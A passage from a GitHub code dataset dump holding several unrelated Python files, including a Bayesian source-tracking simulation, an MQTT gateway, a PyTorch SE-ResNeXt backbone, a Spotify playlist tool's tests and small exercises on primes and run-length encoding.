stuck in an \"infinite\" loop\n\n\n\n \"\"\"\n\n def __init__(\n self,\n Ndim,\n lambda_over_dx,\n R_dt,\n norm_Poisson='Euclidean',\n Ngrid=None,\n Nhits=None,\n draw_source=False,\n initial_hit=None,\n dummy=False,\n ):\n\n self.Ndim = int(Ndim)\n if self.Ndim < 1:\n raise Exception(\"Ndim must be a positive integer\")\n\n self.lambda_over_dx = lambda_over_dx\n self.R_dt = R_dt\n if self.lambda_over_dx < 1.0 or self.R_dt <= 0.0:\n raise Exception(\"lambda_over_dx must be >= 1.0 and R_dt must be > 0.0\")\n\n self.norm_Poisson = norm_Poisson\n if not (self.norm_Poisson in ('Euclidean', 'Manhattan', 'Chebyshev')):\n raise Exception(\"norm_Poisson must be 'Euclidean', 'Manhattan' or 'Chebyshev'\")\n\n self._set_mu0_Poisson()\n\n if Nhits is None:\n self.Nhits = self._autoset_Nhits()\n else:\n self.Nhits = int(Nhits)\n if self.Nhits < 2:\n raise Exception(\"Nhits must be at least 2\")\n\n if Ngrid is None:\n self.N = self._autoset_Ngrid()\n else:\n self.N = int((Ngrid // 2) * 2 + 1) # make it odd\n if self.N < 3:\n raise Exception(\"Ngrid must be at least 3\")\n\n self.draw_source = draw_source\n if not isinstance(self.draw_source, bool):\n raise Exception(\"draw_source must be a bool\")\n\n self.Nactions = 2 * self.Ndim\n\n self.NN_input_shape = tuple([2 * self.N - 1] * self.Ndim)\n\n if not dummy:\n self.restart(initial_hit)\n\n def restart(self, initial_hit=None):\n \"\"\"Restart the search.\n\n Args:\n initial_hit (int or None): initial hit, if None then random\n \"\"\"\n if initial_hit is None:\n self.initial_hit = self._initial_hit()\n else:\n self.initial_hit = int(initial_hit)\n if self.initial_hit > self.Nhits - 1:\n raise Exception(\"initial_hit cannot be > Nhits - 1\")\n\n self.hit_map = -np.ones([self.N] * self.Ndim, dtype=int)\n self.agent = [self.N // 2] * self.Ndim\n self._init_distributed_source()\n if self.draw_source:\n self._draw_a_source()\n\n self.cumulative_hits = 0\n self.agent_near_boundaries = 0\n self.agent_stuck = False\n self.obs = {\"hit\": self.initial_hit, \"done\": False}\n\n self._agento = [0] * self.Ndim # position 1 step ago (arbitrary init value)\n self._agentoo = [self.N] * self.Ndim # position 2 steps ago (arbitrary init value)\n self._repeated_visits = 0 # to detect back and forth motion\n\n def step(self, action, hit=None, quiet=False):\n \"\"\"\n Make a step in the source-tracking environment:\n\n 1. The agent moves to its new position according to `action`,\n 2. The agent receives a hit or the source is found,\n 3. The belief (self.p_source) and the hit map (self.hit_map) are updated.\n\n Args:\n action (int): action of the agent\n hit (int, optional): prescribed number of hits,\n if None (default) the number of hits is chosen randomly according to its probability\n quiet (bool, optional): whether to print when agent is attempting a forbidden move (default=False)\n\n Returns:\n hit (int): number of hits received\n p_end (float): probability of having found the source (relevant only if not draw_source)\n done (bool): whether the source has been found (relevant only if draw_source)\n\n \"\"\"\n hit, p_end, done = self._execute_action(action, hit, quiet)\n self._update_after_hit(hit, done)\n\n return hit, p_end, done\n\n # __ POMDP UPDATES _______________________________________\n def _execute_action(self, action, hit=None, quiet=False):\n self._agentoo = self._agento\n self._agento = self.agent\n\n # move agent\n self.agent, is_move_possible = self._move(action, self.agent)\n if (not is_move_possible) and (not quiet):\n print(\"This move is not possible: agent =\", self.agent, \"cannot do action =\", action)\n self.agent_near_boundaries = self._is_agent_near_boundaries(n_boundary=1)\n self.agent_stuck = self._is_agent_stuck()\n\n if self.draw_source:\n if self.norm_Poisson == 'Manhattan':\n ord = 1\n elif self.norm_Poisson == 'Euclidean':\n ord = 2\n elif self.norm_Poisson == 'Chebyshev':\n ord = float(\"inf\")\n else:\n raise Exception(\"This norm is not implemented\")\n d = np.linalg.norm(np.asarray(self.agent) - np.asarray(self.source), ord=ord)\n\n if d > EPSILON:\n done = False\n p_end = 0\n\n # Picking randomly the number of hits\n mu = self._mean_number_of_hits(d)\n probability = np.zeros(self.Nhits)\n sum_proba = 0\n for h in range(self.Nhits - 1):\n probability[h] = self._Poisson(mu, h)\n sum_proba += self._Poisson(mu, h)\n probability[self.Nhits - 1] = np.maximum(0, 1.0 - sum_proba)\n if hit is None:\n hit = np.random.RandomState().choice(\n range(self.Nhits), p=probability\n )\n else:\n done = True\n p_end = 1\n hit = -2\n\n else:\n done = False\n\n p_end = self.p_source[tuple(self.agent)]\n if p_end > 1 - EPSILON:\n done = True\n\n # Source not in self.agent\n new_p_source = deepcopy(self.p_source)\n new_p_source[tuple(self.agent)] = 0.0\n if np.sum(new_p_source) > EPSILON:\n new_p_source /= np.sum(new_p_source)\n else:\n done = True\n\n if not done:\n # extracting the evidence matrix for Bayesian inference\n p_evidence = self._extract_N_from_2N(input=self.p_Poisson, origin=self.agent)\n\n # Compute hit proba\n p_hit_table = np.zeros(self.Nhits)\n for h in range(self.Nhits):\n p_hit_table[h] = np.maximum(\n 0,\n np.sum(new_p_source * p_evidence[h])\n )\n sum_p_hit = np.sum(p_hit_table)\n if np.abs(sum_p_hit - 1.0) < EPSILON:\n p_hit_table /= sum_p_hit\n else:\n print(\"sum_p_hit_table = \", sum_p_hit)\n raise Exception(\"p_hit_table does not sum to 1\")\n\n # Picking randomly the number of hits\n if hit is None:\n hit = np.random.RandomState().choice(range(self.Nhits), p=p_hit_table)\n\n else:\n hit = -2\n\n if not done:\n self.cumulative_hits += hit\n\n return hit, p_end, done\n \n def _update_after_hit(self, hit, done=None):\n \"\"\"Update of the hit_map and p_source when receiving hits.\n\n Args:\n hit (int): number of hits received\n done (bool): whether the unique source is found\n \"\"\"\n if hit is not None:\n self._update_hit_map(hit)\n self._update_obs(hit, done)\n self._update_p_source(hit, done)\n \n def _update_hit_map(self, hit=0):\n self.hit_map[tuple(self.agent)] = hit\n\n def _update_obs(self, hit, done):\n self.obs[\"hit\"] = hit\n self.obs[\"done\"] = done\n\n def _update_p_source(self, hit=0, done=None):\n if done:\n self.p_source = np.zeros([self.N] * self.Ndim)\n self.p_source[tuple(self.agent)] = 1.0\n self.entropy = 0.0\n else:\n self.p_source[tuple(self.agent)] = 0\n p_evidence = self._extract_N_from_2N(input=self.p_Poisson, origin=self.agent)\n self.p_source *= p_evidence[hit]\n self.p_source[(self.p_source < 0.0) & (self.p_source > -1e-15)] = 0.0\n\n if np.sum(self.p_source) > EPSILON:\n self.p_source /= np.sum(self.p_source)\n self.entropy = self._entropy(self.p_source)\n\n def _move(self, action, agent):\n \"\"\"Move the agent according to action.\n\n Args:\n action (int): action chosen\n agent (list of int): position of the agent\n\n Returns:\n new_agent (list of int): new position of the agent\n is_move_possible (bool): whether the action was allowed\n\n \"\"\"\n is_move_possible = True\n new_agent = deepcopy(agent)\n axis = action // 2\n if axis < self.Ndim:\n direction = 2 * (action % 2) - 1\n if direction == -1:\n if agent[axis] > 0:\n new_agent[axis] -= 1\n else:\n is_move_possible = False\n elif direction == 1:\n if agent[axis] < self.N - 1:\n new_agent[axis] += 1\n else:\n is_move_possible = False\n else:\n raise Exception(\"This action is outside the allowed range\")\n\n return new_agent, is_move_possible\n \n # __ HIT DETECTION _______________________________________\n def _mean_number_of_hits(self, distance):\n distance = np.array(distance)\n distance[distance == 0] = 1.0\n if self.Ndim == 1:\n mu = np.exp(-distance / self.lambda_over_dx + 1)\n elif self.Ndim == 2:\n mu = kn(0, distance / self.lambda_over_dx) / kn(0, 1)\n elif self.Ndim == 3:\n mu = self.lambda_over_dx / distance * np.exp(-distance / self.lambda_over_dx + 1)\n elif self.Ndim > 3:\n mu = (self.lambda_over_dx / distance) ** (self.Ndim / 2 - 1) \\\n * kv(self.Ndim / 2 - 1, distance / self.lambda_over_dx) \\\n / kv(self.Ndim / 2 - 1, 1)\n else:\n raise Exception(\"Problem with the number of dimensions\")\n mu *= self.mu0_Poisson\n return mu\n\n def _Poisson_unbounded(self, mu, h):\n p = Poisson_distribution(mu).pmf(h)\n return p\n\n def _Poisson(self, mu, h):\n if h < self.Nhits - 1: # = Poisson(mu,hit=h)\n p = self._Poisson_unbounded(mu, h)\n elif h == self.Nhits - 1: # = Poisson(mu,hit>=h)\n sum = 0.0\n for k in range(h):\n sum += self._Poisson_unbounded(mu, k)\n p = 1 - sum\n else:\n raise Exception(\"h cannot be > Nhits - 1\")\n return p\n \n def _compute_p_Poisson(self):\n size = 1 + 2 * self.N # note: this could be reduced to size 2N - 1\n origin = [self.N] * self.Ndim\n d = self._distance(N=size, origin=origin, norm=self.norm_Poisson)\n mu = self._mean_number_of_hits(d)\n mu[tuple(origin)] = 0.0\n\n self.p_Poisson = np.zeros([self.Nhits] + [size] * self.Ndim)\n sum_proba = np.zeros([size] * self.Ndim)\n for h in range(self.Nhits):\n self.p_Poisson[h] = self._Poisson(mu, h)\n sum_proba += self.p_Poisson[h]\n if h < self.Nhits - 1:\n sum_is_one = np.all(abs(sum_proba - 1) < EPSILON)\n if sum_is_one:\n raise Exception(str('Nhits is too large, reduce it to Nhits = ' + str(h + 1)\n + ' or lower (higher values have zero probabilities)'))\n\n if not np.all(sum_proba == 1.0):\n raise Exception(\"_compute_p_Poisson: sum proba is not 1\")\n\n # by definition: p_Poisson(origin) = 0\n for h in range(self.Nhits):\n self.p_Poisson[tuple([h] + origin)] = 0.0\n \n # __ INITIALIZATION AND AUTOSET _______________________________________\n def _init_distributed_source(self, ):\n if not hasattr(self, 'p_Poisson'):\n self._compute_p_Poisson()\n self.p_source = np.ones([self.N] * self.Ndim) / (self.N ** self.Ndim - 1)\n self.p_source[tuple([self.N // 2] * self.Ndim)] = 0.0\n self._update_p_source(hit=self.initial_hit)\n self._update_hit_map(hit=self.initial_hit)\n\n def _draw_a_source(self):\n prob = self.p_source.flatten()\n index = np.random.RandomState().choice(self.N**self.Ndim, size=1, p=prob)[0]\n self.source = np.unravel_index(index, shape=([self.N] * self.Ndim))\n self.source = np.array(self.source, dtype=int)\n\n def _initial_hit(self, hit=None):\n if hit is None:\n p_hit_table = np.zeros(self.Nhits)\n r = np.arange(1, int(1000 * self.lambda_over_dx))\n shell_volume = self._volume_ball(r+0.5) - self._volume_ball(r-0.5)\n for h in range(1, self.Nhits):\n p = self._Poisson(self._mean_number_of_hits(r), h) # proba hit=h as a function of distance r to the source\n p_hit_table[h] = max(0, np.sum(p * shell_volume)) # not normalized\n p_hit_table /= np.sum(p_hit_table)\n hit = np.random.RandomState().choice(range(self.Nhits), p=p_hit_table)\n return hit\n \n def _autoset_Ngrid(self, p_source_out=1e-3):\n # return the smallest Ngrid such that, for a virtually infinite domain, the probability of the source\n # being outside a ball of diameter Ngrid is less than p_source_out after any initial hit\n r = np.arange(1, int(1000 * self.lambda_over_dx))\n shell_volume = self._volume_ball(r + 0.5) - self._volume_ball(r - 0.5)\n Ngrid = 0\n hit_list = range(1, self.Nhits)\n for hit in hit_list:\n p = self._Poisson(self._mean_number_of_hits(r), hit) # proba hit=h as a function of distance r to the source\n pball = np.cumsum(p * shell_volume)\n pball /= pball[-1] # proba source is in the ball as a function of ball radius r\n where = np.argwhere(1 - pball < p_source_out)[0, 0]\n Ngrid = max(Ngrid, 2 * (where + 1) + 1)\n return int(Ngrid)\n\n def _autoset_Nhits(self):\n mu_at_dx = self._mean_number_of_hits(1.0)\n h = mu_at_dx + np.sqrt(mu_at_dx)\n return int(np.ceil(h)) + 1\n \n # __ LOW LEVEL UTILITIES _______________________________________\n def _entropy(self, array, axes=None):\n log2 = np.zeros(array.shape)\n indices = array > EPSILON\n log2[indices] = -np.log2(array[indices])\n return np.sum(array * log2, axis=axes)\n\n def _distance(self, Ndim=None, N=None, origin=None, norm='Euclidean'):\n if Ndim is None:\n Ndim = self.Ndim\n if N is None:\n N = self.N\n if origin is None:\n origin = self.agent\n if len(origin) != Ndim:\n print(origin)\n raise Exception(\"The origin coordinates are not consistent with the number of dimensions\")\n\n coord = np.mgrid[tuple([range(N)] * Ndim)]\n for i in range(Ndim):\n coord[i] -= origin[i]\n d = np.zeros([N] * Ndim)\n if norm == 'Manhattan':\n for i in range(Ndim):\n d += np.abs(coord[i])\n return d\n elif norm == 'Euclidean':\n for i in range(Ndim):\n d += (coord[i]) ** 2\n d = np.sqrt(d)\n return d\n elif norm == 'Chebyshev':\n d = np.amax(np.abs(coord), axis=0)\n return d\n else:\n raise Exception(\"This norm is not implemented\")\n\n def _volume_ball(self, r, Ndim=None, norm=None):\n if Ndim is None:\n Ndim = self.Ndim\n if norm is None:\n norm = self.norm_Poisson\n if norm == 'Manhattan':\n pm1 = 1\n elif norm == 'Euclidean':\n pm1 = 1 / 2\n elif norm == 'Chebyshev':\n pm1 = 0\n else:\n raise Exception(\"This norm is not implemented\")\n return (2 * Gamma(pm1 + 1) * r) ** Ndim / Gamma(Ndim * pm1 + 1)\n\n def _is_agent_near_boundaries(self, n_boundary):\n # is the agent within n_boundary cell(s) of a boundary of the computational domain?\n for axis in range(self.Ndim):\n if (self.agent[axis] >= self.N - 1 - n_boundary) or (\n self.agent[axis] <= n_boundary\n ):\n return 1\n return 0\n\n def _is_agent_stuck(self):\n agent_stuck = False\n if self._agentoo == self.agent:\n self._repeated_visits += 1\n else:\n self._repeated_visits = 0\n if self._repeated_visits > 8:\n agent_stuck = True\n return agent_stuck\n\n def _set_mu0_Poisson(self, ):\n \"\"\"Sets the value of mu0_Poisson (mean number of hits at distance = lambda), which is derived from the\n physical dimensionless parameters of the problem. It is required by _mean_number_of_hits().\n \"\"\"\n dx_over_a = 2.0 # agent step size / agent radius\n lambda_over_a = self.lambda_over_dx * dx_over_a\n a_over_lambda = 1.0 / lambda_over_a\n\n if self.Ndim == 1:\n mu0_Poisson = 1 / (1 - a_over_lambda) * np.exp(-1)\n elif self.Ndim == 2:\n mu0_Poisson = 1 / np.log(lambda_over_a) * kn(0, 1)\n elif self.Ndim == 3:\n mu0_Poisson = a_over_lambda * np.exp(-1)\n elif self.Ndim > 3:\n mu0_Poisson = (self.Ndim - 2) / Gamma(self.Ndim / 2) / (2 ** (self.Ndim / 2 - 1)) * \\\n a_over_lambda ** (self.Ndim - 2) * kv(self.Ndim / 2 - 1, 1)\n else:\n raise Exception(\"problem with Ndim\")\n\n mu0_Poisson *= self.R_dt\n self.mu0_Poisson = mu0_Poisson\n\n def _extract_N_from_2N(self, input, origin):\n if len(origin) != self.Ndim:\n raise Exception(\"_extract_N_from_2N: len(origin) is different from Ndim\")\n if input.shape[-1] == 2 * self.N + 1:\n index = np.array([self.N] * self.Ndim) - origin\n elif input.shape[-1] == 2 * self.N - 1:\n index = np.array([self.N - 1] * self.Ndim) - origin\n else:\n raise Exception(\"_extract_N_from_2N(): dimension of input must be 2N-1 or 2N+1\")\n if self.Ndim == 1:\n output = input[..., index[0]:index[0] + self.N]\n elif self.Ndim == 2:\n output = input[...,\n index[0]:index[0] + self.N,\n index[1]:index[1] + self.N]\n elif self.Ndim == 3:\n output = input[...,\n index[0]:index[0] + self.N,\n index[1]:index[1] + self.N,\n index[2]:index[2] + self.N]\n elif self.Ndim == 4:\n output = input[...,\n index[0]:index[0] + self.N,\n index[1]:index[1] + self.N,\n index[2]:index[2] + self.N,\n index[3]:index[3] + self.N]\n else:\n raise Exception(\"_extract_N_from_2N() not implemented for Ndim > 4\")\n return output\n\n # __ INPUT TO VALUE FUNCTION _______________________________________\n def _centeragent(self, p, agent):\n \"\"\"Return the probability density of the source centered on the agent\n\n Args:\n p (numpy array): initial probability in a non-centered environment\n agent (list): vector position of the agent\n\n Returns:\n numpy array: probability density centered on the agent (tensor of size (2 * N - 1) ** Ndim)\n \"\"\"\n result = np.zeros([2 * self.N - 1] * self.Ndim)\n if self.Ndim == 1:\n result[self.N - 1 - agent[0]:2 * self.N - 1 - agent[0]] = p\n elif self.Ndim == 2:\n result[\n self.N - 1 - agent[0]:2 * self.N - 1 - agent[0],\n self.N - 1 - agent[1]:2 * self.N - 1 - agent[1],\n ] = p\n elif self.Ndim == 3:\n result[\n self.N - 1 - agent[0]:2 * self.N - 1 - agent[0],\n self.N - 1 - agent[1]:2 * self.N - 1 - agent[1],\n self.N - 1 - agent[2]:2 * self.N - 1 - agent[2],\n ] = p\n else:\n raise Exception(\"_centeragent is not implemented for Ndim > 3\")\n\n return result\n","repo_name":"C0PEP0D/otto","sub_path":"otto/classes/sourcetracking.py","file_name":"sourcetracking.py","file_ext":"py","file_size_in_byte":23646,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"31747144097","text":"import config\nfrom Logger import Logger\nfrom Mqtt import Mqtt\nfrom daikinapi import Daikin\nimport time\nimport sys\nimport traceback\n\nmqtt = Mqtt()\ndaikin = Daikin()\n\ndef app():\n mqtt.connect()\n mqtt.loop_start()\n\n #mqtt.update_status(config.MQTT_GATEWAY_STATUS_START)\n #mqtt.publish(config.MQTT_GATEWAY_ERROR_CMD, \"\")\n\n while True:\n time.sleep(0.1)\n\n #mqtt.update_status(config.MQTT_GATEWAY_STATUS_QUIT)\n mqtt.loop_stop()\n\n\nif __name__ == \"__main__\":\n try:\n app()\n except KeyboardInterrupt:\n Logger().info('Main : Interrupted')\n exit()\n except Exception as e:\n Logger().info(f\"Main : Oops! {str(sys.exc_info())} occured. \\n {traceback.format_exc()}\\n\")\n mqtt.publish_event(config.MQTT_GATEWAY_ERROR_CMD, traceback.format_exc())\n","repo_name":"juliend20/DaikinWifi2Mqtt","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23399318275","text":"#!/usr/bin/env python\n# TR\nimport os\nmodules = 'stations events data trace stream rf imaging' #xcorr\nos.chdir('../')\nfor module in modules.split():\n command = 'python %s.py' % module\n print(command + ' ...\\n')\n os.system(command)\n\n","repo_name":"trichter/sito","sub_path":"tests2/other_test_main_in_modules.py","file_name":"other_test_main_in_modules.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"37"} +{"seq_id":"7883183170","text":"import torch.nn as nn\nimport pretrainedmodels \n\nfrom torch.nn.modules.batchnorm import _BatchNorm\n\nfrom ..registry import BACKBONES\n\n@BACKBONES.register_module\nclass SEResNeXt(nn.Module):\n \"\"\"SE-ResNeXt backbone.\n\n Args:\n depth (int): Depth of resnet, from {18, 34, 50, 101, 152}.\n in_channels (int): Number of input image channels. Normally 3.\n num_stages (int): Resnet stages, normally 4.\n strides (Sequence[int]): Strides of the first block of each stage.\n dilations (Sequence[int]): Dilation of each stage.\n out_indices (Sequence[int]): Output from which stages.\n style (str): `pytorch` or `caffe`. If set to \"pytorch\", the stride-two\n layer is the 3x3 conv layer, otherwise the stride-two layer is\n the first 1x1 conv layer.\n frozen_stages (int): Stages to be frozen (stop grad and set eval mode).\n -1 means not freezing any parameters.\n norm_cfg (dict): dictionary to construct and config norm layer.\n norm_eval (bool): Whether to set norm layers to eval mode, namely,\n freeze running stats (mean and var). Note: Effect on Batch Norm\n and its variants only.\n with_cp (bool): Use checkpoint or not. Using checkpoint will save some\n memory while slowing down the training speed.\n zero_init_residual (bool): whether to use zero init for last norm layer\n in resblocks to let them behave as identity.\n\n Example:\n >>> from mmdet.models import ResNet\n >>> import torch\n >>> self = ResNet(depth=18)\n >>> self.eval()\n >>> inputs = torch.rand(1, 3, 32, 32)\n >>> level_outputs = self.forward(inputs)\n >>> for level_out in level_outputs:\n ... print(tuple(level_out.shape))\n (1, 64, 8, 8)\n (1, 128, 4, 4)\n (1, 256, 2, 2)\n (1, 512, 1, 1)\n \"\"\"\n\n def __init__(self,\n depth,\n out_indices=(0, 1, 2, 3),\n frozen_stages=-1,\n norm_eval=True):\n super().__init__()\n\n self.depth = depth\n self.out_indices = out_indices\n self.frozen_stages = frozen_stages\n self.norm_eval = norm_eval\n\n\n model = getattr(pretrainedmodels, 'se_resnext{}_32x4d'.format(depth))(pretrained=None)\n self.layer0 = model.layer0\n self.layer1 = model.layer1\n self.layer2 = model.layer2\n self.layer3 = model.layer3\n self.layer4 = model.layer4\n\n self.res_layers = ['layer{}'.format(i) for i in range(1, 5)]\n\n self._freeze_stages()\n\n\n def _freeze_stages(self):\n for i in range(0, self.frozen_stages + 1):\n m = getattr(self, 'layer{}'.format(i))\n m.eval()\n for param in m.parameters():\n param.requires_grad = False\n\n def init_weights(self, pretrained):\n if pretrained is None:\n return\n print ('Loading <{}> pretrained weights ...'.format(pretrained))\n model = getattr(pretrainedmodels, 'se_resnext{}_32x4d'.format(self.depth))(pretrained=pretrained)\n for layer_name in ['layer0'] + self.res_layers:\n layer_dict = getattr(model, layer_name).state_dict()\n getattr(self, layer_name).load_state_dict(layer_dict) \n\n def forward(self, x):\n x = self.layer0(x)\n outs = []\n for i, layer_name in enumerate(self.res_layers):\n res_layer = getattr(self, layer_name)\n x = res_layer(x)\n if i in self.out_indices:\n outs.append(x)\n return tuple(outs)\n\n def train(self, mode=True):\n super().train(mode)\n self._freeze_stages()\n if mode and self.norm_eval:\n for m in self.modules():\n # trick: eval have effect on BatchNorm only\n if isinstance(m, _BatchNorm):\n m.eval()\n","repo_name":"yihhan/3dcnn_code","sub_path":"deepfake/deepfake/mmdetection/mmdet/models/backbones/se_resnext.py","file_name":"se_resnext.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7021030098","text":"# external\n# python native\nimport time\nimport logging\nimport json\nimport sys\nimport winsound\nimport traceback\n# project\nfrom Gustelfy import database\nfrom Gustelfy.objects import album, artist, playlist, track, user\nfrom Gustelfy.util import config\nfrom Gustelfy import session, spotify_api\n\ndef test():\n try:\n if len(sys.argv) >= 2:\n if sys.argv[2] == \"api\":\n api()\n if sys.argv[2] == \"merge\":\n merge()\n if sys.argv[2] == \"db\":\n db_connection()\n if sys.argv[2] == \"dbp\":\n dbp()\n if sys.argv[2] == \"obj\":\n objects()\n if sys.argv[2] == \"update\":\n db_update()\n else:\n print(\"Select test to run.\")\n except Exception as e:\n print(e)\n traceback.print_exc()\n amogus()\n exit()\n winsound.Beep(523, 300) # C5\n winsound.Beep(523, 150) # C5\n winsound.Beep(659, 600) # E5\n\ndef db_update():\n \"\"\"Testing update of incomplete entries\n \"\"\"\n logger = logging.getLogger(\"Gustelfy\")\n logger.setLevel(10)\n logger.debug(\"amogus\")\n session = prepare()\n\n #session.db_con.add_album(session.spotify.fetch_album(\"66Oi1725EJCwCh3NqWcRuL\"))\n\n session.update_database()\n \ndef dbp():\n \"\"\"Testrun without flask\"\"\"\n logger = logging.getLogger(\"Gustelfy\")\n logger.setLevel(10)\n # Initialise config object\n settings = config.Config()\n # Connect to database and fix table\n db = database.Database(\"oracledb\").get_db_connection()\n usr = user.User(\"testmanfred\")\n # Connect to spotify\n spotify = spotify_api.Spotify_api()\n user_session = session.Session(usr, spotify, db)\n\n # Test database fillup\n user_session.dbp_fill_db()\n\n # test of fetch_favorites album bug\n \"\"\"\n testdata = user_session.spotify.fetch_favorites()\n json_data = user_session.spotify.fetch_favorites(json=True)\n\n i = 0\n for fav in testdata:\n print(fav.get_album())\n i += 1 \n if i > 10:\n break\n\n if isinstance(json_data, dict):\n with open('test.json', 'w') as amogus:\n json.dump(json_data,amogus,indent=3)\n print(\"result written to test.json\")\n return\n \"\"\"\ndef objects():\n \"\"\"testing different objects\"\"\"\n user_session = prepare()\n\n #\n test_artist = artist.Artist(\n id = \"11111_test\",\n name = \"11111_test\",\n genres = [\"test_genre1\",\"test_genre2\"],\n images = [{\"height\":64,\"url\":\"https://www.scdn.co/i/_global/favicon.png\",\"width\":64}],\n popularity = 69,\n followers = 420\n )\n\n test_track = track.Track(\n id = \"11111_test\",\n name = \"TEST_TRACK\",\n artists = [test_artist],\n duration_ms = 123456,\n album_id = \"11111_test\",\n disc_number = 1,\n track_number = 1,\n explicit = True,\n popularity = 34\n )\n \n test_album = album.Album(\n id = \"11111_test\",\n name = \"TEST_ALBUM\",\n artists = [test_artist],\n tracks = [test_track],\n images = [{\"height\":64,\"url\":\"https://www.scdn.co/i/_global/favicon.png\",\"width\":64}],\n release_date = \"2021-01-01\",\n total_tracks = 1,\n popularity = 69\n )\n #print(test_album)\n #user_session.db_con.add_album(test_album)\n #user_session.db_con.add_artist(test_artist)\n user_session.db_con.add_track(test_track)\n return\n\ndef api():\n logger = logging.getLogger(\"Gustelfy\")\n logger.setLevel(10)\n settings = config.Config()\n spotify = spotify_api.Spotify_api()\n result = {}\n \n # Turbo thomas: 2vWnOXI1ALzlvNTdjVPMG1\n # Rap über hass: 21ownMQ51Jqlv8si9CTI6R\n #result = spotify.fetch_track('21ownMQ51Jqlv8si9CTI6R',json=True)\n #result = spotify.fetch_album(\"1kTlYbs28MXw7hwO0NLYif\",json=True)\n result = spotify.fetch_artist(\"1ehBmvzykgp3Il0BUIZdev\",json=True)\n result_o = spotify.fetch_artist(\"1ehBmvzykgp3Il0BUIZdev\")\n #result = spotify.fetch_playlist(\"349T3IRkkkTyBc1SqyP1JH\",json=True)\n #result = spotify.fetch_playlist(\"5JfpaSo0hvoRdGRYFrEP3x\",json=True) # wtf?\n #result = spotify.amogus(\"5JfpaSo0hvoRdGRYFrEP3x\")\n #result = spotify.fetch_favorites(json=True)\n #result = spotify.fetch_playlists(json=True)\n #result = spotify.fetch_user(json=True)\n #result = spotify.fetch_playlist_tracks(\"349T3IRkkkTyBc1SqyP1JH\",json=True)\n print(result_o.get_followers())\n with open('test.json', 'w') as amogus:\n json.dump(result,amogus,indent=3)\n print(\"result written to test.json\")\n #result = spotify.fetch_playlist(\"349T3IRkkkTyBc1SqyP1JH\")\n #print(result.get_tracks())\n\ndef merge():\n \"\"\"Testing the merge function for different spotify objects\n \"\"\"\n old = track.Track(\n id=\"amogus123\",\n artists=[],\n name=\"Amogus Party\",\n timestamp=1,\n duration_ms=12343,\n explicit=False,\n popularity=20,\n track_number=12\n )\n new = track.Track(\n id=\"amogus123\",\n artists=[artist.Artist(id=\"mogusmann\",name=\"kekw\")],\n name=\"Amogus Party\",\n timestamp=3,\n duration_ms=123,\n explicit=True,\n popularity=20\n )\n new.merge(old)\n mogus = new\n print(\n f\"{mogus.get_id()} {mogus.get_artists()} {mogus.get_name()} {mogus.get_timestamp()} {mogus.get_duration_ms()} {mogus.is_expired()} {mogus.get_popularity()} {mogus.get_track_number()}\"\n )\n\ndef amogus():\n \"\"\"sus\n \"\"\"\n winsound.Beep(523, 300) # C5\n winsound.Beep(622, 300) # E5 flat\n winsound.Beep(698, 300) # F5\n winsound.Beep(740, 300) # G5 flat\n winsound.Beep(698, 300) # F5\n winsound.Beep(622, 300) # E5 flat\n winsound.Beep(523, 300) # C5\n time.sleep(0.6)\n winsound.Beep(466, 150) # B4 flat\n winsound.Beep(587, 150) # D5\n winsound.Beep(523, 300) # C5\n\ndef prepare() -> session.Session:\n logger = logging.getLogger(\"Gustelfy\")\n logger.setLevel(10)\n # Initialise config object\n config.Config()\n # Connect to database and fix table\n db = database.Database(\"oracledb\").get_db_connection()\n usr = user.User(\"testmanfred\")\n # Connect to spotify\n spotify = spotify_api.Spotify_api()\n return session.Session(usr, spotify, db)\n\n\ndef db_connection():\n \"pyhton -m Gustelfy db\"\n db = database.Database(\"oracledb\").get_db_connection()\n db.connect_database()\n \n test_artist = artist.Artist(\n id=\"42069\",\n name=\"Arschbach Poposohn\",\n genres=[\"wurst and roll\",\"rap\"]\n )\n test_artist.set_image_url(\"https://google.com/image/amogus.png\")\n \n #result = db.get_artist(\"42069\")\n #print(result.get_genres())\n print(db.add_artist(test_artist))\n\n #db.add_artist(test_artist)","repo_name":"krippix/GustelfyPlaylists","sub_path":"Gustelfy/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4195158041","text":"import itertools\n\nprimes = [2]\ncount = 1\nn = 3\nwhile count < 10001:\n m = n ** 0.5 + 1\n if all(n % x != 0 for x in itertools.takewhile(lambda i: i < m, primes)):\n primes.append(n)\n count += 1\n n += 2\nprint(primes[-1])","repo_name":"ducngtuan/euler","sub_path":"1-50/problem7/problem7.py","file_name":"problem7.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39001000859","text":"#Реализуйте RLE алгоритм: реализуйте модуль сжатия и восстановления данных.\n#Входные и выходные данные хранятся в отдельных текстовых файлах.\n\n# чтение из файла \nwith open('file1.txt', 'r') as data:\n st = data.readline()\n\nprint(' Строка из файла fil1.txt')\nprint(st)\n\n\n# сжатие данных \nls = []\nn = len(st)\nj = 1\ni = 0\nwhile i < (n-1):\n if st[i] == st[i+1]:\n j = j + 1\n h = str(j)\n i = i + 1\n else:\n h = str (j)\n a = h + st[i] \n i = i + 1\n j = 1\n ls.append(a)\nb = str(j)\na1 = b + st[-1] \nls.append(a1)\nstro = ''.join(ls)\nprint(stro)\n\nwith open('file2.txt', 'w') as f: f.write(stro) # запись сжатых данных в файл\n\n# распаковка данных\nnum = 0\nnov_str =[] \nfor i in range(len(stro)):\n if stro[i].isdigit():\n elem = int(stro[i])\n else:\n nov_str.append(stro[i] * elem) \nnov_str1 = ''.join(nov_str)\nprint(nov_str1) \n\n","repo_name":"Olga-Chichikina/PytonZad","sub_path":"DZ5/zad5_4.py","file_name":"zad5_4.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40115693819","text":"import logging\n\nimport protobufs.messages.daan_pb2 as daan_pb2\nfrom tarjan.tc import tc\n\nfrom django.conf import settings\nfrom 